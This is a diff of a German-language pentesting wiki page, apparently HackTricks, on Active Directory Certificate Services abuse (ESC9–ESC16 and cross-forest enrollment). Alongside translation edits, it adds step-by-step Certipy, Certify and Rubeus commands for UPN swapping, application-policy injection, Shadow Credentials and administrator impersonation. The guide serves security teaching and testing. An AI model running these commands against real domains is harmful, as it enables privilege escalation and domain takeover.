Eine weitere Einschränkung von NTLM-Relay-Angriffen ist, dass **ein vom Angreifer kontrollierter Rechner von einem Opferkonto authentifiziert werden muss**. Der Angreifer könnte entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**:
|
||||
|
||||
{{#ref}}
|
||||
../printers-spooler-service-abuse.md
|
||||
@ -346,7 +346,7 @@ Eine weitere Einschränkung von NTLM-Relay-Angriffen ist, dass **ein vom Angreif
|
||||
|
||||
### **Missbrauch**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeriert **aktivierte HTTP AD CS Endpunkte**:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeriert **aktivierte HTTP AD CS-Endpunkte**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
@ -395,18 +395,18 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
## Keine Sicherheits-Erweiterung - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### Erklärung
|
||||
|
||||
Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, auch bekannt als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-erweiterung** in ein Zertifikat. Dieses Flag wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` (die Standardeinstellung) gesetzt ist, was im Gegensatz zu einer Einstellung von `2` steht. Seine Relevanz steigt in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie in ESC10), da das Fehlen von ESC9 die Anforderungen nicht ändern würde.
|
||||
Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, auch bekannt als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-Erweiterung** in ein Zertifikat. Dieses Flag wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` (die Standardeinstellung) gesetzt ist, was im Gegensatz zu einer Einstellung von `2` steht. Seine Relevanz erhöht sich in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie in ESC10), da das Fehlen von ESC9 die Anforderungen nicht ändern würde.
|
||||
|
||||
Die Bedingungen, unter denen die Einstellung dieses Flags signifikant wird, umfassen:
|
||||
|
||||
- `StrongCertificateBindingEnforcement` ist nicht auf `2` angepasst (wobei der Standard `1` ist), oder `CertificateMappingMethods` enthält das `UPN`-Flag.
|
||||
- `StrongCertificateBindingEnforcement` ist nicht auf `2` eingestellt (mit der Standardeinstellung `1`), oder `CertificateMappingMethods` enthält das `UPN`-Flag.
|
||||
- Das Zertifikat ist mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag innerhalb der `msPKI-Enrollment-Flag`-Einstellung gekennzeichnet.
|
||||
- Ein beliebiges Client-Authentifizierungs-EKU wird durch das Zertifikat angegeben.
|
||||
- `GenericWrite`-Berechtigungen sind über jedes Konto verfügbar, um ein anderes zu kompromittieren.
|
||||
- `GenericWrite`-Berechtigungen sind über ein beliebiges Konto verfügbar, um ein anderes zu kompromittieren.
|
||||
|
||||
### Missbrauchsszenario
|
||||
|
||||
@ -416,7 +416,7 @@ Zunächst wird der Hash von `Jane` mithilfe von Shadow Credentials erlangt, dank
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Anschließend wird `Jane`'s `userPrincipalName` in `Administrator` geändert, wobei der Teil der Domain `@corp.local` absichtlich weggelassen wird:
|
||||
Anschließend wird `Jane`'s `userPrincipalName` auf `Administrator` geändert, wobei absichtlich der Teil der Domäne `@corp.local` weggelassen wird:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
@ -440,7 +440,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
### Erklärung
|
||||
|
||||
Zwei Registrierungswertschlüssel auf dem Domänencontroller werden von ESC10 angesprochen:
|
||||
Zwei Registrierungswertschlüssel auf dem Domänencontroller werden von ESC10 referenziert:
|
||||
|
||||
- Der Standardwert für `CertificateMappingMethods` unter `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ist `0x18` (`0x8 | 0x10`), zuvor auf `0x1F` gesetzt.
|
||||
- Die Standardeinstellung für `StrongCertificateBindingEnforcement` unter `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ist `1`, zuvor `0`.
|
||||
@ -467,7 +467,7 @@ Anschließend wird `Jane`'s `userPrincipalName` in `Administrator` geändert, wo
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
In der Folge wird ein Zertifikat angefordert, das die Client-Authentifizierung als `Jane` ermöglicht, unter Verwendung der Standardvorlage `User`.
|
||||
In der Folge wird ein Zertifikat angefordert, das die Client-Authentifizierung ermöglicht, als `Jane`, unter Verwendung der Standardvorlage `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -481,7 +481,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Missbrauchsfall 2
|
||||
|
||||
Mit den `CertificateMappingMethods`, die das `UPN`-Bit-Flag (`0x4`) enthalten, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B, das über keine `userPrincipalName`-Eigenschaft verfügt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`, kompromittieren.
|
||||
Mit den `CertificateMappingMethods`, die das `UPN`-Bit-Flag (`0x4`) enthalten, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B, das über keine `userPrincipalName`-Eigenschaft verfügt, kompromittieren, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`.
|
||||
|
||||
Hier besteht das Ziel darin, `DC$@corp.local` zu kompromittieren, beginnend mit dem Erhalten von `Janes` Hash durch Shadow Credentials, unter Ausnutzung des `GenericWrite`.
|
||||
```bash
|
||||
@ -503,11 +503,11 @@ Um sich über Schannel zu authentifizieren, wird die `-ldap-shell`-Option von Ce
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Durch die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Angriffe mit Resource-Based Constrained Delegation (RBCD), die potenziell den Domänencontroller gefährden können.
|
||||
Durch die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Angriffe mit ressourcenbasiertem eingeschränktem Delegieren (RBCD), die potenziell den Domänencontroller gefährden können.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Diese Schwachstelle erstreckt sich auch auf jedes Benutzerkonto, das keinen `userPrincipalName` hat oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt, wobei das Standardkonto `Administrator@corp.local` ein Hauptziel ist, aufgrund seiner erhöhten LDAP-Berechtigungen und des Fehlens eines `userPrincipalName` standardmäßig.
|
||||
Diese Schwachstelle betrifft auch jedes Benutzerkonto, das keinen `userPrincipalName` hat oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt, wobei das Standardkonto `Administrator@corp.local` aufgrund seiner erhöhten LDAP-Berechtigungen und des standardmäßig fehlenden `userPrincipalName` ein Hauptziel ist.
|
||||
|
||||
## Relaying NTLM zu ICPR - ESC11
|
||||
|
||||
@ -619,12 +619,211 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
|
||||
Finden Sie eine Benutzerberechtigung, die `certipy find` oder `Certify.exe find /showAllPermissions` verwenden kann.
|
||||
|
||||
Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu registrieren, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` erben.
|
||||
Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu beantragen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` erben.
|
||||
|
||||
Alles, was er tun muss, ist, die Vorlage anzugeben, und er erhält ein Zertifikat mit OIDToGroupLink-Rechten.
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## Verwundbare Zertifikatserneuerungskonfiguration - ESC14
|
||||
|
||||
### Erklärung
|
||||
|
||||
Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist bemerkenswert gründlich. Unten steht ein Zitat des Originaltextes.
|
||||
|
||||
ESC14 behandelt Schwachstellen, die aus "schwachem explizitem Zertifikatmapping" resultieren, hauptsächlich durch den Missbrauch oder die unsichere Konfiguration des `altSecurityIdentities`-Attributs auf Active Directory-Benutzer- oder Computer-Konten. Dieses mehrwertige Attribut ermöglicht es Administratoren, X.509-Zertifikate manuell mit einem AD-Konto für Authentifizierungszwecke zu verknüpfen. Wenn es befüllt ist, können diese expliziten Zuordnungen die Standard-Zertifikatmapping-Logik überschreiben, die typischerweise auf UPNs oder DNS-Namen im SAN des Zertifikats oder der im `szOID_NTDS_CA_SECURITY_EXT`-Sicherheitserweiterung eingebetteten SID basiert.
|
||||
|
||||
Eine "schwache" Zuordnung tritt auf, wenn der Zeichenfolgenwert, der im `altSecurityIdentities`-Attribut verwendet wird, um ein Zertifikat zu identifizieren, zu allgemein, leicht erratbar, auf nicht eindeutigen Zertifikatfeldern basiert oder leicht fälschbare Zertifikatkomponenten verwendet. Wenn ein Angreifer ein Zertifikat erhalten oder erstellen kann, dessen Attribute mit einer solchen schwach definierten expliziten Zuordnung für ein privilegiertes Konto übereinstimmen, kann er dieses Zertifikat verwenden, um sich als dieses Konto zu authentifizieren und es zu impersonieren.
|
||||
|
||||
Beispiele für potenziell schwache `altSecurityIdentities`-Mapping-Zeichenfolgen sind:
|
||||
|
||||
- Zuordnung ausschließlich nach einem gemeinsamen Subject Common Name (CN): z.B. `X509:<S>CN=SomeUser`. Ein Angreifer könnte in der Lage sein, ein Zertifikat mit diesem CN aus einer weniger sicheren Quelle zu erhalten.
|
||||
- Verwendung von zu allgemeinen Aussteller-Distinguished Names (DNs) oder Subject DNs ohne weitere Qualifikation wie eine spezifische Seriennummer oder Subject Key Identifier: z.B. `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Verwendung anderer vorhersehbarer Muster oder nicht-kryptografischer Identifikatoren, die ein Angreifer möglicherweise in einem Zertifikat erfüllen kann, das er legitim erhalten oder fälschen kann (wenn er eine CA kompromittiert hat oder eine verwundbare Vorlage wie in ESC1 gefunden hat).
|
||||
|
||||
Das `altSecurityIdentities`-Attribut unterstützt verschiedene Formate für die Zuordnung, wie:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (zuordnet nach vollständigem Aussteller- und Subject-DN)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (zuordnet nach dem Wert der Subject Key Identifier-Erweiterung des Zertifikats)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (zuordnet nach Seriennummer, implizit qualifiziert durch den Aussteller-DN) - dies ist kein Standardformat, normalerweise ist es `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (zuordnet nach einem RFC822-Namen, typischerweise einer E-Mail-Adresse, aus dem SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (zuordnet nach einem SHA1-Hash des rohen öffentlichen Schlüssels des Zertifikats - allgemein stark)
|
||||
|
||||
Die Sicherheit dieser Zuordnungen hängt stark von der Spezifität, Einzigartigkeit und kryptografischen Stärke der gewählten Zertifikat-Identifikatoren ab, die in der Zuordnungszeichenfolge verwendet werden. Selbst bei aktivierten starken Zertifikatbindungsmodi auf Domänencontrollern (die hauptsächlich implizite Zuordnungen basierend auf SAN-UPNs/DNS und der SID-Erweiterung betreffen) kann ein schlecht konfiguriertes `altSecurityIdentities`-Eintrag immer noch einen direkten Weg zur Impersonation darstellen, wenn die Zuordnungslogik selbst fehlerhaft oder zu nachsichtig ist.
|
||||
|
||||
### Missbrauchsszenario
|
||||
|
||||
ESC14 zielt auf **explizite Zertifikatzuordnungen** in Active Directory (AD) ab, insbesondere auf das `altSecurityIdentities`-Attribut. Wenn dieses Attribut gesetzt ist (absichtlich oder durch Fehlkonfiguration), können Angreifer Konten impersonieren, indem sie Zertifikate präsentieren, die mit der Zuordnung übereinstimmen.
|
||||
|
||||
#### Szenario A: Angreifer kann in `altSecurityIdentities` schreiben
|
||||
|
||||
**Vorbedingung**: Der Angreifer hat Schreibberechtigungen für das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es in Form einer der folgenden Berechtigungen auf dem Ziel-AD-Objekt zu gewähren:
|
||||
- Schreibeigenschaft `altSecurityIdentities`
|
||||
- Schreibeigenschaft `Public-Information`
|
||||
- Schreibeigenschaft (alle)
|
||||
- `WriteDACL`
|
||||
- `WriteOwner`*
|
||||
- `GenericWrite`
|
||||
- `GenericAll`
|
||||
- Eigentümer*.
|
||||
|
||||
#### Szenario B: Ziel hat schwache Zuordnung über X509RFC822 (E-Mail)
|
||||
|
||||
- **Vorbedingung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in `altSecurityIdentities`. Ein Angreifer kann das E-Mail-Attribut des Opfers so einstellen, dass es mit dem X509RFC822-Namen des Ziels übereinstimmt, ein Zertifikat als das Opfer beantragen und es verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
#### Szenario C: Ziel hat X509IssuerSubject-Zuordnung
|
||||
|
||||
- **Vorbedingung**: Das Ziel hat eine schwache X509IssuerSubject-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzips so einstellen, dass es mit dem Subject der X509IssuerSubject-Zuordnung des Ziels übereinstimmt. Dann kann der Angreifer ein Zertifikat als das Opfer beantragen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
#### Szenario D: Ziel hat X509SubjectOnly-Zuordnung
|
||||
|
||||
- **Vorbedingung**: Das Ziel hat eine schwache X509SubjectOnly-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzips so einstellen, dass es mit dem Subject der X509SubjectOnly-Zuordnung des Ziels übereinstimmt. Dann kann der Angreifer ein Zertifikat als das Opfer beantragen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren.
|
||||
|
||||
### Konkrete Operationen
|
||||
#### Szenario A
|
||||
|
||||
Fordern Sie ein Zertifikat der Zertifikatvorlage `Machine` an.
|
||||
```bash
|
||||
.\Certify.exe request /ca:<ca> /template:Machine /machine
|
||||
```
|
||||
Zertifikat speichern und konvertieren
|
||||
```bash
|
||||
certutil -MergePFX .\esc13.pem .\esc13.pfx
|
||||
```
|
||||
Authentifizieren (unter Verwendung des Zertifikats)
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
|
||||
```
|
||||
Bereinigung (optional)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
Für spezifischere Angriffsmethoden in verschiedenen Angriffsszenarien verweisen Sie bitte auf Folgendes: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu-Anwendungspolitiken (CVE-2024-49019) - ESC15
|
||||
|
||||
### Erklärung
|
||||
|
||||
Die Beschreibung unter https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert gründlich. Nachfolgend ein Zitat des Originaltextes.
|
||||
|
||||
Durch die Verwendung von integrierten Standard-Zertifikatvorlagen der Version 1 kann ein Angreifer eine CSR erstellen, die Anwendungspolitiken enthält, die den konfigurierten Extended Key Usage-Attributen, die in der Vorlage angegeben sind, vorgezogen werden. Die einzige Voraussetzung sind Anmelderechte, und es kann verwendet werden, um Client-Authentifizierung, Zertifikatsanforderungsagenten und Codesigning-Zertifikate mit der **_WebServer_**-Vorlage zu generieren.
|
||||
|
||||
### Missbrauch
|
||||
|
||||
Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), klicken Sie hier, um detailliertere Nutzungsmethoden zu sehen.
|
||||
|
||||
Der `find`-Befehl von Certipy kann helfen, V1-Vorlagen zu identifizieren, die potenziell anfällig für ESC15 sind, wenn die CA nicht gepatcht ist.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Szenario A: Direkte Identitätsübernahme über Schannel
|
||||
|
||||
**Schritt 1: Fordern Sie ein Zertifikat an, indem Sie die "Client-Authentifizierung" Anwendungsrichtlinie und die Ziel-UPN injizieren.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` unter Verwendung der "WebServer" V1-Vorlage (die die Bereitstellung des Subjekts durch den Anmelder erlaubt).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
|
||||
-application-policies 'Client Authentication'
|
||||
```
|
||||
- `-template 'WebServer'`: Die anfällige V1-Vorlage mit "Enrollee supplies subject".
|
||||
- `-application-policies 'Client Authentication'`: Injektiert die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-Erweiterung des CSR.
|
||||
- `-upn 'administrator@corp.local'`: Setzt den UPN im SAN für die Identitätsübernahme.
|
||||
|
||||
**Step 2: Authentifizieren Sie sich über Schannel (LDAPS) mit dem erhaltenen Zertifikat.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Szenario B: PKINIT/Kerberos-Imitation durch Missbrauch des Enrollment Agents
|
||||
|
||||
**Schritt 1: Fordern Sie ein Zertifikat von einer V1-Vorlage an (mit "Enrollee supplies subject"), indem Sie die "Certificate Request Agent" Anwendungsrichtlinie injizieren.** Dieses Zertifikat ist für den Angreifer (`attacker@corp.local`), um ein Enrollment Agent zu werden. Es wird hier kein UPN für die eigene Identität des Angreifers angegeben, da das Ziel die Agentenfähigkeit ist.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-application-policies 'Certificate Request Agent'
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: Injektiert OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
|
||||
**Schritt 2: Verwenden Sie das "Agent"-Zertifikat, um ein Zertifikat im Namen eines privilegierten Zielbenutzers anzufordern.** Dies ist ein ESC3-ähnlicher Schritt, der das Zertifikat aus Schritt 1 als Agentenzertifikat verwendet.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**Schritt 3: Authentifizieren Sie sich als privilegierter Benutzer mit dem "on-behalf-of" Zertifikat.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Sicherheitserweiterung auf CA (global) deaktiviert - ESC16
|
||||
|
||||
### Erklärung
|
||||
|
||||
**ESC16 (Erhöhung von Rechten durch fehlende szOID_NTDS_CA_SECURITY_EXT-Erweiterung)** bezieht sich auf das Szenario, in dem die Konfiguration von AD CS die Einbeziehung der **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten nicht durchsetzt, wodurch ein Angreifer dies ausnutzen kann, indem er:
|
||||
|
||||
1. Ein Zertifikat **ohne SID-Bindung** anfordert.
|
||||
|
||||
2. Dieses Zertifikat **zur Authentifizierung als beliebiges Konto** verwendet, z. B. um ein Konto mit hohen Rechten (z. B. einen Domänenadministrator) zu impersonieren.
|
||||
|
||||
Sie können auch auf diesen Artikel verweisen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Missbrauch
|
||||
|
||||
Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Klicken Sie hier, um detailliertere Nutzungsmethoden zu sehen.
|
||||
|
||||
Um zu identifizieren, ob die Active Directory-Zertifikatdienste (AD CS)-Umgebung anfällig für **ESC16** sind.
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**Schritt 1: Lesen Sie den initialen UPN des Opferkontos (Optional - zur Wiederherstellung).**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**Schritt 2: Aktualisieren Sie den UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Schritt 3: (Falls erforderlich) Erhalten Sie Anmeldeinformationen für das "Opfer"-Konto (z. B. über Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**Schritt 4: Fordern Sie ein Zertifikat als der "Opfer"-Benutzer von _irgendeiner geeigneten Client-Authentifizierungsvorlage_ (z.B. "Benutzer") auf der ESC16-anfälligen CA an.** Da die CA anfällig für ESC16 ist, wird sie automatisch die SID-Sicherheitserweiterung aus dem ausgestellten Zertifikat weglassen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setzen Sie die Umgebungsvariable für den Kerberos-Anmeldeinformationscache (Shell-Befehl):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
Dann fordere das Zertifikat an:
|
||||
```bash
|
||||
certipy req \
|
||||
-k -dc-ip '10.0.0.100' \
|
||||
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
|
||||
-template 'User'
|
||||
```
|
||||
**Schritt 5: Den UPN des "Opfer"-Kontos zurücksetzen.**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Schritt 6: Authentifizieren Sie sich als der Zieladministrator.**
|
||||
```bash
|
||||
certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
-username 'administrator' -domain 'corp.local'
|
||||
```
|
||||
## Kompromittierung von Wäldern mit Zertifikaten im Passiv erklärt
|
||||
|
||||
### Brechen von Waldvertrauen durch kompromittierte CAs
|
||||
@ -633,10 +832,10 @@ Die Konfiguration für **Cross-Forest-Enrollment** ist relativ unkompliziert. Da
|
||||
|
||||
### Einschreiberechte, die ausländischen Prinzipalen gewährt werden
|
||||
|
||||
In Multi-Wald-Umgebungen ist Vorsicht geboten hinsichtlich Enterprise CAs, die **Zertifikatvorlagen veröffentlichen**, die **authentifizierten Benutzern oder ausländischen Prinzipalen** (Benutzern/Gruppen, die extern zum Wald sind, zu dem die Enterprise CA gehört) **Einschreiberechte und Bearbeitungsrechte** gewähren.\
|
||||
Nach der Authentifizierung über ein Vertrauen wird die **Authenticated Users SID** dem Token des Benutzers von AD hinzugefügt. Wenn also eine Domäne eine Enterprise CA mit einer Vorlage besitzt, die **authentifizierten Benutzern Einschreiberechte gewährt**, könnte eine Vorlage potenziell von einem Benutzer aus einem anderen Wald **eingeschrieben werden**. Ebenso, wenn **Einschreiberechte explizit durch eine Vorlage an einen ausländischen Prinzipal gewährt werden**, wird eine **Cross-Forest-Zugriffssteuerungsbeziehung geschaffen**, die es einem Prinzipal aus einem Wald ermöglicht, **sich in eine Vorlage aus einem anderen Wald einzuschreiben**.
|
||||
In Multi-Wald-Umgebungen ist Vorsicht geboten hinsichtlich Enterprise CAs, die **Zertifikatvorlagen veröffentlichen**, die **authentifizierten Benutzern oder ausländischen Prinzipalen** (Benutzern/Gruppen, die extern zum Wald sind, zu dem die Enterprise CA gehört) **Einschreibungs- und Bearbeitungsrechte** gewähren.\
|
||||
Nach der Authentifizierung über ein Vertrauen wird die **Authenticated Users SID** dem Token des Benutzers von AD hinzugefügt. Wenn also eine Domäne eine Enterprise CA mit einer Vorlage besitzt, die **authentifizierten Benutzern Einschreibungsrechte gewährt**, könnte eine Vorlage potenziell von einem Benutzer aus einem anderen Wald **eingeschrieben werden**. Ebenso, wenn **Einschreiberechte explizit durch eine Vorlage an einen ausländischen Prinzipal gewährt werden**, wird eine **Cross-Forest-Zugriffssteuerungsbeziehung geschaffen**, die es einem Prinzipal aus einem Wald ermöglicht, **sich in eine Vorlage aus einem anderen Wald einzuschreiben**.
|
||||
|
||||
Beide Szenarien führen zu einer **Erhöhung der Angriffsfläche** von einem Wald zum anderen. Die Einstellungen der Zertifikatvorlage könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer ausländischen Domäne zu erlangen.
|
||||
Beide Szenarien führen zu einer **Erhöhung der Angriffsfläche** von einem Wald zum anderen. Die Einstellungen der Zertifikatvorlage könnten von einem Angreifer ausgenutzt werden, um zusätzliche Berechtigungen in einer fremden Domäne zu erlangen.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user